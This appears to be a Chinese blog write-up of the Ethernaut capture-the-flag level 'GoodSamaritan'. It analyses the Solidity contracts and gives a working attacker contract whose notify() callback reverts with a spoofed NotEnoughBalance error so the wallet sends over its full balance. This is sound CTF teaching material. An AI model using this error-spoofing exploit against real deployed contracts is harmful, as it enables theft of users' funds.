[区块链安全-Ethernaut]附加GoodSamaritan解题思路

[区块链安全-Ethernaut]附加GoodSamaritan解题思路,第1张

[区块链安全-Ethernaut]新题目GoodSamaritan解题思路 背景目标合约分析尝试一:失败的攻击尝试二总结

背景

说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。

目标合约分析

总共有三个合约互相作用,分别为GoodSamaritan(慈善家,对外暴露捐款接口)、Coin(慈善家通过钱包创建的代币合约)以及Wallet(由慈善家所有)。本关卡的目的是获取到钱包里所有的余额。

核心代码如下:

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

在接受外部调用requestDonation后,慈善家会通过walletdonate10方法进一步调用cointransfer实现10个代币的转账。合约中做了限定,那就是如果keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)(即余额不足10个代币),就将剩下的都转给用户。

所以分析来看,我们的入口就在这里,否则10个10个来,那不得要等到猴年马月。那现在的问题就是要抛出NotEnoughBalance

cointransfer方法里,对目标地址作了校验,如果是合约,还会主动调用相关方法进行提醒。

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }

我们不能指望wallet去抛出NotEnoughBalance,相反,考虑到coin还与dest有所交互,我们可以利用notify方法在自己的合约中抛出NotEnoughBalance

尝试一:失败的攻击

说干就干,在remix里编写攻击合约,合约代码如下:

pragma solidity ^0.8.0;

interface GoodSamaritan {
    function requestDonation() external returns(bool enoughBalance);
}



contract Attacker {

    error NotEnoughBalance();


    constructor() public{

    }

    function attack(address _addr) public {
            GoodSamaritan(_addr).requestDonation();
    }

    function notify(uint256 amount) external {
        revert  NotEnoughBalance();
    }

}

部署合约后,通过attack方法发起攻击,当notify方法被transfer所调用时,会主动revert抛出自定义的NotEnoughBalance

可是,似乎没有通过。

我们进入debug_trace界面,发现transferRemainder(address)对应的0xe40b8658selector的确被调用了。



但为什么还是失败了呢?

尝试二

原因是我们没有定义好notify,导致在接受所有值时都直接抛出,这会使得最后的转账也失败了!修改notify函数重新部署,仅当接受值为10以下时才抛出错误,这样就能“问心无愧”地接受大额代币了。

    function notify(uint256 amount) external {
        if (amount <= 10){
            revert  NotEnoughBalance();
        }
    }

重新部署,调用attack函数。调用成功!


总结

这题重点还是要找到入口,找到了就容易了!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/2990673.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-09-23
下一篇 2022-09-23

发表评论

登录后才能评论

评论列表(0条)

保存